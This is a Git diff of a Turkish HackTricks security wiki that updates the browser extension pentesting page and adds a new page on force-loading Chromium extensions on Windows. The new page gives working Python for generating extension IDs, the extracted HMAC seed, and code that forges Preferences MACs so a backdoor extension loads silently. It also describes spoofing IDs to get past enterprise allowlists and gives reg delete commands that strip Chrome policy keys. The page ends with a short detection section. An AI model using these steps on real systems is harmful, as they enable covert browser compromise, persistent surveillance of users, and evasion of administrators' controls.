Zayıf tarayıcı uzantılarını tespit etmeye çalışmak için [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) kullanabilir ve manifest dosyalarını potansiyel olarak zayıf işaretler için kontrol edebilirsiniz. Örneğin, 25000'den fazla kullanıcısı olan, `content_scripts` ve `nativeMessaging` iznine sahip uzantıları kontrol etmek için:
|
Vulnerable browser extensions tespit etmeye çalışmak için the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) kullanabilir ve manifest dosyalarında potansiyel olarak tehlikeli işaretleri kontrol edebilirsiniz. Örneğin, 25000'den fazla kullanıcısı olan, `content_scripts` ve izin `nativeMessaing` içeren uzantıları kontrol etmek için:
|
||||||
```bash
|
```bash
|
||||||
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
||||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
||||||
```
|
```
|
||||||
|
## Post-exploitation: Forced extension load & persistence (Windows)
|
||||||
|
|
||||||
|
Chromium'u, her kullanıcı için olan Preferences dosyasını doğrudan düzenleyip geçerli HMACs oluşturarak arka kapı ile ele geçirme konusunda gizli bir teknik; bu, tarayıcının herhangi bir uyarı veya bayrak göstermeden rastgele unpacked extension'ı kabul edip etkinleştirmesine neden olur.
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
forced-extension-load-preferences-mac-forgery-windows.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
## Güvenlik Denetimi Kontrol Listesi
|
## Güvenlik Denetimi Kontrol Listesi
|
||||||
|
|
||||||
Tarayıcı Uzantıları **sınırlı bir saldırı yüzeyine** sahip olsalar da, bazıları **zayıflıklar** veya **potansiyel güçlendirme iyileştirmeleri** içerebilir. Aşağıdakiler en yaygın olanlardır:
|
Tarayıcı uzantılarının (Browser Extensions) saldırı yüzeyi **sınırlı** olsa da, bazıları **zafiyetler** veya **sertleştirme (hardening) iyileştirmeleri** içerebilir. Aşağıdakiler en yaygın olanlardır:
|
||||||
|
|
||||||
- [ ] İstenen **`permissions`**'ı mümkün olduğunca **sınırlayın**
|
- [ ] **Sınırlandırın** mümkün olduğunca istenen **`permissions`**
|
||||||
- [ ] **`host_permissions`**'ı mümkün olduğunca **sınırlayın**
|
- [ ] **Sınırlandırın** mümkün olduğunca **`host_permissions`**
|
||||||
- [ ] **Güçlü** bir **`content_security_policy`** kullanın
|
- [ ] **Güçlü** bir **`content_security_policy`** kullanın
|
||||||
- [ ] **`externally_connectable`**'ı mümkün olduğunca **sınırlayın**, eğer gerek yoksa ve mümkünse, varsayılan olarak bırakmayın, **`{}`** belirtin
|
- [ ] **Sınırlandırın** mümkün olduğunca **`externally_connectable`** öğesini; eğer gerek yoksa ve mümkünse, varsayılan olarak bırakmayın, **`{}`** belirtin
|
||||||
- [ ] Burada **XSS veya ele geçirme** için zayıf bir **URL** belirtilmişse, bir saldırgan **arka plan betiklerine doğrudan mesaj gönderebilir**. Çok güçlü bir atlatma.
|
- [ ] Eğer burada **XSS veya takeover'a karşı savunmasız bir URL** belirtilmişse, bir saldırgan **background scripts**'e **doğrudan mesaj gönderebilecektir**. Çok güçlü bir bypass.
|
||||||
- [ ] **`web_accessible_resources`**'ı mümkün olduğunca **sınırlayın**, mümkünse boş bırakın.
|
- [ ] **Sınırlandırın** mümkün olduğunca **`web_accessible_resources`**'ı, mümkünse boş bile bırakın.
|
||||||
- [ ] Eğer **`web_accessible_resources`** yoksa, [**ClickJacking**](browext-clickjacking.md) için kontrol edin
|
- [ ] Eğer **`web_accessible_resources`** boş değilse, [**ClickJacking**](browext-clickjacking.md) için kontrol edin
|
||||||
- [ ] Eğer herhangi bir **iletişim** uzantıdan **web sayfasına** oluyorsa, iletişimde oluşan [**XSS**](browext-xss-example.md) **zayıflıklarını** kontrol edin.
|
- [ ] Eğer uzantıdan (extension) web sayfasına herhangi bir **iletişim** oluyorsa, iletişimde oluşabilecek [**XSS**](browext-xss-example.md) **zafiyetlerini** kontrol edin.
|
||||||
- [ ] Eğer Post Mesajları kullanılıyorsa, [**Post Mesaj zayıflıkları**](../postmessage-vulnerabilities/index.html)** için kontrol edin.**
|
- [ ] Post Messages kullanılıyorsa, [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html) için kontrol edin.
|
||||||
- [ ] Eğer **Content Script DOM detaylarına erişiyorsa**, web tarafından **değiştirilirse XSS** **girişine neden olmadıklarını** kontrol edin
|
- [ ] Eğer **Content Script** DOM detaylarına erişiyorsa, web tarafından **değiştirildiklerinde** XSS oluşturmadıklarından emin olun
|
||||||
- [ ] Bu iletişimin **Content Script -> Arka plan betiği iletişimi** ile de ilgili olduğuna özel bir vurgu yapın
|
- [ ] Bu iletişim ayrıca **Content Script -> Background script communication**'ı da içeriyorsa özel vurgu yapın
|
||||||
- [ ] Eğer arka plan betiği **native messaging** aracılığıyla iletişim kuruyorsa, iletişimin güvenli ve temiz olduğundan emin olun
|
- [ ] Eğer background script **native messaging** ile iletişim kuruyorsa, iletişimin güvenli ve sanitize edildiğini kontrol edin
|
||||||
- [ ] **Hassas bilgiler** Tarayıcı Uzantısı **kodunun** içinde **saklanmamalıdır**
|
- [ ] **Gizli bilgiler saklanmamalıdır** Browser Extension **kodu** içinde
|
||||||
- [ ] **Hassas bilgiler** Tarayıcı Uzantısı **belleğinin** içinde **saklanmamalıdır**
|
- [ ] **Gizli bilgiler saklanmamalıdır** Browser Extension **belleği (memory)** içinde
|
||||||
- [ ] **Hassas bilgiler** **dosya sisteminde korumasız** olarak **saklanmamalıdır**
|
- [ ] **Gizli bilgiler saklanmamalıdır** **dosya sisteminde korunmasız** şekilde
|
||||||
|
|
||||||
## Tarayıcı Uzantısı Riskleri
|
## Browser Extension Risks
|
||||||
|
|
||||||
- Uygulama [https://crxaminer.tech/](https://crxaminer.tech/) tarayıcı uzantısının talep ettiği izinler gibi bazı verileri analiz ederek tarayıcı uzantısını kullanmanın risk seviyesini belirler.
|
- Uygulama [https://crxaminer.tech/](https://crxaminer.tech/) tarayıcı uzantısının (browser extension) istediği permissions gibi bazı verileri analiz ederek uzantının kullanım risk seviyesini belirler.
|
||||||
|
|
||||||
## Araçlar
|
## Tools
|
||||||
|
|
||||||
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
||||||
|
|
||||||
- Verilen bir Chrome webstore bağlantısından herhangi bir Chrome uzantısını çeker.
|
- Verilen bir Chrome webstore linkinden herhangi bir Chrome extension'ı çeker.
|
||||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **görüntüleyici**: uzantının manifestosunun JSON formatında düzenlenmiş bir versiyonunu basitçe gösterir.
|
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: uzantının manifest'inin JSON-prettified halini gösterir.
|
||||||
- **Parmak İzi Analizi**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) tespiti ve otomatik Chrome uzantısı parmak izi JavaScript'i oluşturma.
|
- **Fingerprint Analysis**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) tespiti ve otomatik olarak Chrome extension fingerprinting JavaScript üretimi.
|
||||||
- **Potansiyel Clickjacking Analizi**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) direktifi ayarlanmış uzantı HTML sayfalarının tespiti. Bu sayfaların amacı doğrultusunda clickjacking'e karşı potansiyel olarak zayıf olabilirler.
|
- **Potential Clickjacking Analysis**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) direktifi ayarlı extension HTML sayfalarını tespit eder. Amaçlarına bağlı olarak bu sayfalar clickjacking'e karşı potansiyel olarak savunmasız olabilir.
|
||||||
- **İzin Uyarısı görüntüleyici**: uzantıyı yüklemeye çalışan bir kullanıcıya gösterilecek tüm Chrome izin istem uyarılarının listesini gösterir.
|
- **Permission Warning(s) viewer**: kullanıcı uzantıyı yüklemeye çalıştığında gösterilecek tüm Chrome izin uyarılarının listesini gösterir.
|
||||||
- **Tehlikeli Fonksiyon(lar)**: bir saldırgan tarafından potansiyel olarak istismar edilebilecek tehlikeli fonksiyonların yerini gösterir (örneğin, innerHTML, chrome.tabs.executeScript gibi fonksiyonlar).
|
- **Dangerous Function(s)**: innerHTML, chrome.tabs.executeScript gibi potansiyel olarak sömürülebilecek tehlikeli fonksiyonların konumlarını gösterir.
|
||||||
- **Giriş Noktası(ları)**: uzantının kullanıcı/dış girdi aldığı yerleri gösterir. Bu, bir uzantının yüzey alanını anlamak ve kötü niyetli olarak hazırlanmış verileri uzantıya göndermek için potansiyel noktaları aramak için faydalıdır.
|
- **Entry Point(s)**: uzantının kullanıcı/dış girdiyi nereden aldığı gösterilir. Bu, uzantının yüzey alanını anlamak ve kötü niyetli verilerin gönderilebileceği potansiyel noktaları bulmak için faydalıdır.
|
||||||
- Hem Tehlikeli Fonksiyon(lar) hem de Giriş Noktası(ları) tarayıcılarının ürettiği uyarılar için aşağıdakileri içerir:
|
- Hem Dangerous Function(s) hem de Entry Point(s) tarayıcılarının ürettiği uyarılar için aşağıdakileri sağlar:
|
||||||
- Uyarıya neden olan ilgili kod parçası ve satır.
|
- Uyarıya sebep olan ilgili kod snippet'i ve satırı.
|
||||||
- Sorunun açıklaması.
|
- Sorunun açıklaması.
|
||||||
- Kodu içeren tam kaynak dosyasını görüntülemek için bir "Dosyayı Görüntüle" butonu.
|
- Tam kaynak dosyasını görmek için “View File” butonu.
|
||||||
- Uyarılan dosyanın yolu.
|
- Uyarılan dosyanın yolu.
|
||||||
- Uyarılan dosyanın tam Chrome uzantısı URI'si.
|
- Uyarılan dosyanın tam Chrome extension URI'sı.
|
||||||
- Dosyanın türü, örneğin Arka Plan Sayfası betiği, İçerik Betiği, Tarayıcı Eylemi vb.
|
- Dosyanın türü (Background Page script, Content Script, Browser Action vb.).
|
||||||
- Eğer zayıf satır bir JavaScript dosyasındaysa, dahil edildiği tüm sayfaların yolları ile birlikte bu sayfaların türü ve [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) durumu.
|
- Eğer zafiyetli satır bir JavaScript dosyasında ise, dahil edildiği tüm sayfaların yolları ve bu sayfaların türleri ile [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) durumu.
|
||||||
- **İçerik Güvenlik Politikası (CSP) analizörü ve atlatma kontrolörü**: Bu, uzantınızın CSP'sindeki zayıflıkları belirtecek ve beyaz listeye alınmış CDN'ler vb. nedeniyle CSP'nizi atlatmanın potansiyel yollarını aydınlatacaktır.
|
- **Content Security Policy (CSP) analyzer and bypass checker**: Uzantınızın CSP'sindeki zayıflıkları işaretler ve CSP'yi atlatmaya yönelik potansiyel yolları (ör. beyaz listeye alınmış CDN'ler) gösterir.
|
||||||
- **Bilinen Zayıf Kütüphaneler**: Bu, bilinen zayıf JavaScript kütüphanelerinin herhangi bir kullanımını kontrol etmek için [Retire.js](https://retirejs.github.io/retire.js/) kullanır.
|
- **Known Vulnerable Libraries**: Bilinen zafiyetli JavaScript kütüphanelerinin kullanımını kontrol etmek için [Retire.js](https://retirejs.github.io/retire.js/) kullanır.
|
||||||
- Uzantıyı ve biçimlendirilmiş versiyonlarını indirin.
|
- Uzantıyı indirme ve formatlanmış versiyonlarını indirme.
|
||||||
- Orijinal uzantıyı indirin.
|
- Orijinal uzantıyı indirme.
|
||||||
- Uzantının güzelleştirilmiş bir versiyonunu indirin (otomatik olarak düzenlenmiş HTML ve JavaScript).
|
- Beautified edilmiş versiyonunu indirme (otomatik prettified HTML ve JavaScript).
|
||||||
- Tarama sonuçlarının otomatik önbelleğe alınması, bir uzantı taraması çalıştırmak ilk kez çalıştırdığınızda iyi bir zaman alacaktır. Ancak ikinci kez, uzantı güncellenmemişse, sonuçların önbelleğe alınması nedeniyle neredeyse anında olacaktır.
|
- Tarama sonuçlarının otomatik önbelleğe alınması; ilk tarama zaman alır, ancak uzantı güncellenmediyse ikinci tarama neredeyse anında sonuç verir.
|
||||||
- Bağlantılı Rapor URL'leri, başkalarına tarnish tarafından üretilen bir uzantı raporuna kolayca bağlantı vermenizi sağlar.
|
- Tarnish tarafından oluşturulan bir uzantı raporuna kolayca bağlantı verebilen linklenebilir rapor URL'leri.
|
||||||
|
|
||||||
### [Neto](https://github.com/elevenpaths/neto)
|
### [Neto](https://github.com/elevenpaths/neto)
|
||||||
|
|
||||||
Neto Projesi, Firefox ve Chrome gibi tanınmış tarayıcılar için tarayıcı eklentilerinin ve uzantılarının gizli özelliklerini analiz etmek ve çözmek için tasarlanmış bir Python 3 paketidir. `manifest.json`, yerelleştirme klasörleri veya JavaScript ve HTML kaynak dosyaları gibi ilgili kaynaklardan bu özellikleri çıkarmak için paketlenmiş dosyaların açılma sürecini otomatikleştirir.
|
Project Neto, Firefox ve Chrome gibi bilinen tarayıcılar için tarayıcı plugin'leri ve uzantılarının gizli özelliklerini analiz edip ortaya çıkarmak üzere tasarlanmış bir Python 3 paketidir. Paketlenmiş dosyaların zip'ini açma işlemini otomatikleştirir ve bu özellikleri `manifest.json`, localization klasörleri veya Javascript ve HTML kaynak dosyaları gibi ilgili kaynaklardan çıkarır.
|
||||||
|
|
||||||
## Referanslar
|
## References
|
||||||
|
|
||||||
- **Bu metodolojiye yardımcı olduğu için** [**@naivenom**](https://twitter.com/naivenom)'a **teşekkürler**
|
- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology**
|
||||||
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
|
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
|
||||||
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
|
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
|
||||||
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
|
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
|
||||||
|
|||||||
@ -0,0 +1,208 @@
|
|||||||
|
# Forced Extension Load & Preferences MAC Forgery (Windows)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Genel Bakış
|
||||||
|
|
||||||
|
Windows üzerinde Chromium tabanlı tarayıcılarda bir kullanıcının Preferences/Secure Preferences dosyasını düzenleyip değiştirilmiş düğümler için geçerli HMAC'ler oluşturarak arbitrary uzantıları force-load eden stealthy post-exploitation technique. Chrome/Chromium, Edge ve Brave üzerinde çalışır. Yayın sırasında Chromium 130 ile 139 arasında uygulandığı gözlemlenmiştir. Hedef profilde basit bir disk yazma primitive'si, komut satırı bayrakları veya kullanıcı istemleri olmadan tam ayrıcalıklı bir uzantıyı kalıcı hale getirmek için yeterlidir.
|
||||||
|
|
||||||
|
> Temel fikir: Chromium, kullanıcı başına uzantı durumunu bir JSON preferences dosyasında saklar ve bunu HMAC-SHA256 ile korur. Tarayıcının gömülü seed'i ile geçerli MACs hesaplayıp bunları injected nodes'ların yanına yazarsanız, tarayıcı uzantı girdinizi kabul eder ve etkinleştirir.
|
||||||
|
|
||||||
|
|
||||||
|
## Uzantı durumunun bulunduğu yer (Windows)
|
||||||
|
|
||||||
|
- Non–domain‑joined Chrome profile:
|
||||||
|
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (kök "super_mac" içerir).
|
||||||
|
- Domain‑joined Chrome profile:
|
||||||
|
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
|
||||||
|
- Chromium tarafından kullanılan ana düğümler:
|
||||||
|
- extensions.settings.<extension_id> → uzantı girdisi için gömülü manifest/metadata
|
||||||
|
- protection.macs.extensions.settings.<extension_id> → o JSON blob için HMAC
|
||||||
|
- Chromium ≥134: extensions.ui.developer_mode (boolean) paketlenmemiş uzantıların etkinleşmesi için mevcut olmalı ve MAC‑signed olmalıdır
|
||||||
|
|
||||||
|
Basitleştirilmiş şema (örnek):
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"extensions": {
|
||||||
|
"settings": {
|
||||||
|
"<extension_id>": {
|
||||||
|
"name": "Extension name",
|
||||||
|
"manifest_version": 3,
|
||||||
|
"version": "1.0",
|
||||||
|
"key": "<BASE64 DER SPKI>",
|
||||||
|
"path": "<absolute path if unpacked>",
|
||||||
|
"state": 1,
|
||||||
|
"from_bookmark": false,
|
||||||
|
"was_installed_by_default": false
|
||||||
|
// ...rest of manifest.json + required install metadata
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"ui": { "developer_mode": true }
|
||||||
|
},
|
||||||
|
"protection": {
|
||||||
|
"macs": {
|
||||||
|
"extensions": {
|
||||||
|
"settings": { "<extension_id>": "<MAC>" },
|
||||||
|
"ui": { "developer_mode": "<MAC>" }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Notlar:
|
||||||
|
- Edge/Brave benzer yapıları korur. Koruma seed değeri farklı olabilir (Edge/Brave bazı build'lerde null/other seed kullandıkları gözlemlendi).
|
||||||
|
|
||||||
|
|
||||||
|
## Uzantı ID'leri: path vs key ve bunları deterministik hale getirme
|
||||||
|
|
||||||
|
Chromium uzantı ID'sini şu şekilde türetir:
|
||||||
|
- Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
|
||||||
|
- Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
|
||||||
|
|
||||||
|
Farklı hostlar arasında sabit bir ID korumak için, manifest.json içinde "key" altında sabit bir base64 DER public key gömün. ID, kurulum yolundan ziyade bu key'den türetilecektir.
|
||||||
|
|
||||||
|
Deterministik bir ID ve key pair üretmek için yardımcı:
|
||||||
|
```python
|
||||||
|
import base64
|
||||||
|
import hashlib
|
||||||
|
from cryptography.hazmat.primitives import serialization
|
||||||
|
from cryptography.hazmat.primitives.asymmetric import rsa
|
||||||
|
|
||||||
|
def translate_crx_id(s: str) -> str:
|
||||||
|
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
|
||||||
|
return ''.join(t.get(c, c) for c in s)
|
||||||
|
|
||||||
|
def generate_extension_keys() -> tuple[str,str,str]:
|
||||||
|
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
|
||||||
|
pub = priv.public_key()
|
||||||
|
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
|
||||||
|
format=serialization.PublicFormat.SubjectPublicKeyInfo)
|
||||||
|
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
|
||||||
|
pub_b64 = base64.b64encode(spki).decode('utf-8')
|
||||||
|
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
|
||||||
|
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||||
|
encryption_algorithm=serialization.NoEncryption())
|
||||||
|
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
|
||||||
|
return crx_id, pub_b64, priv_b64
|
||||||
|
|
||||||
|
print(generate_extension_keys())
|
||||||
|
```
|
||||||
|
Oluşturulan public key'i manifest.json dosyanıza ekleyin ve ID'yi kilitleyin:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"manifest_version": 3,
|
||||||
|
"name": "Synacktiv extension",
|
||||||
|
"version": "1.0",
|
||||||
|
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
|
||||||
|
}
|
||||||
|
```
|
||||||
|
## Forging Preferences integrity MACs (core bypass)
|
||||||
|
|
||||||
|
Chromium, tercihlerdeki her düğümün "path" + serileştirilmiş JSON değeri üzerinde HMAC‑SHA256 kullanarak koruma sağlar. HMAC seed tarayıcının resources.pak dosyasına gömülüdür ve Chromium 139'a kadar hâlâ geçerliydi.
|
||||||
|
|
||||||
|
Seed'i GRIT pak_util ile çıkarın ve seed container'ını (test edilen build'lerde file id 146) bulun:
|
||||||
|
```bash
|
||||||
|
python3 pak_util.py extract resources.pak -o resources_v139/
|
||||||
|
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
|
||||||
|
# compare a clean vs minimally modified resources.pak to spot the seed holder
|
||||||
|
xxd -p resources_v139/146
|
||||||
|
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
|
||||||
|
```
|
||||||
|
MACs (büyük harfli hex) olarak hesaplayın:
|
||||||
|
```text
|
||||||
|
ext_mac = HMAC_SHA256(seed,
|
||||||
|
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
|
||||||
|
|
||||||
|
devmode_mac = HMAC_SHA256(seed,
|
||||||
|
"extensions.ui.developer_mode" + ("true" or "false"))
|
||||||
|
```
|
||||||
|
Minimal Python örneği:
|
||||||
|
```python
|
||||||
|
import json, hmac, hashlib
|
||||||
|
|
||||||
|
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
|
||||||
|
seed = bytes.fromhex(seed_hex)
|
||||||
|
# Compact JSON to match Chromium serialization closely
|
||||||
|
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
|
||||||
|
msg = (pref_path + val).encode('utf-8')
|
||||||
|
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
|
||||||
|
|
||||||
|
# Example usage
|
||||||
|
settings_path = f"extensions.settings.{crx_id}"
|
||||||
|
devmode_path = "extensions.ui.developer_mode"
|
||||||
|
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
|
||||||
|
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
|
||||||
|
```
|
||||||
|
Write the values under:
|
||||||
|
- protection.macs.extensions.settings.<crx_id> = ext_mac
|
||||||
|
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
|
||||||
|
|
||||||
|
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
|
||||||
|
|
||||||
|
> Uygulama ipuçları
|
||||||
|
> - Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
|
||||||
|
> - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.
|
||||||
|
|
||||||
|
|
||||||
|
## End‑to‑end silent load flow (Windows)
|
||||||
|
|
||||||
|
1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
|
||||||
|
2) Create extensions.settings.<id> by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
|
||||||
|
3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
|
||||||
|
4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges
|
||||||
|
|
||||||
|
|
||||||
|
## Bypassing enterprise controls
|
||||||
|
|
||||||
|
- Whitelisted extension hash spoofing (ID spoofing)
|
||||||
|
1) Install an allowed Web Store extension and note its ID
|
||||||
|
2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
|
||||||
|
3) Set that key as manifest.key in your modified extension to reproduce the same ID
|
||||||
|
4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
|
||||||
|
|
||||||
|
- Extension stomping (ID collision precedence)
|
||||||
|
- If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
|
||||||
|
|
||||||
|
- Neutralizing GPO via HKCU (requires admin)
|
||||||
|
- Chrome/Edge policies live under HKCU\Software\Policies\*
|
||||||
|
- With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
|
||||||
|
```powershell
|
||||||
|
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
|
||||||
|
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
|
||||||
|
```
|
||||||
|
## Gürültülü fallback: command-line loading
|
||||||
|
|
||||||
|
Chromium ≥137 sürümlerinden itibaren, --load-extension ayrıca şu parametrenin geçirilmesini gerektirir:
|
||||||
|
```text
|
||||||
|
--disable-features=DisableLoadExtensionCommandLineSwitch
|
||||||
|
```
|
||||||
|
Bu yaklaşım yaygın olarak bilinir ve izlenir (ör. EDR/DFIR tarafından; Chromeloader gibi commodity malware tarafından kullanılır). Preference MAC forging daha gizlidir.
|
||||||
|
|
||||||
|
İlgili bayraklar ve daha fazla çapraz‑platform hilesi burada tartışılıyor:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
## Operasyonel etki
|
||||||
|
|
||||||
|
Bir kez kabul edildiğinde, extension bildirilen izinleri ile çalışır; DOM erişimi, isteklerin yakalanması/yönlendirilmesi, cookie/storage erişimi ve ekran görüntüsü alma gibi imkanlar sunar — etkide tarayıcı içi kod yürütme ve kalıcı kullanıcı profilinde süreklilik sağlar. Aktivasyon Preferences üzerinden veri‑odaklı olduğundan SMB veya diğer kanallar üzerinden uzak dağıtım kolaydır.
|
||||||
|
|
||||||
|
|
||||||
|
## Tespit ve sertleştirme
|
||||||
|
|
||||||
|
- Preferences/Secure Preferences'e yazan non‑Chromium süreçlerini izleyin; özellikle protection.macs girdileriyle eşleşen extensions.settings altında yeni düğümler için
|
||||||
|
- extensions.ui.developer_mode'ın beklenmedik olarak değiştirilmesine ve HMAC‑valid ancak onaylanmamış extension girdilerine karşı uyarı oluşturun
|
||||||
|
- HKCU/HKLM Software\Policies üzerinde kurcalama için denetim yapın; politikaları cihaz yönetimi/Chrome Browser Cloud Management ile uygulayın
|
||||||
|
- Sadece extension ID'ye göre eşleşen allowlists yerine, doğrulanmış yayıncılardan store üzerinden forced‑install'ı tercih edin
|
||||||
|
|
||||||
|
|
||||||
|
## Referanslar
|
||||||
|
|
||||||
|
- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
|
||||||
|
- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
|
||||||
|
- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
|
||||||
|
- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
Loading…
x
Reference in New Issue
Block a user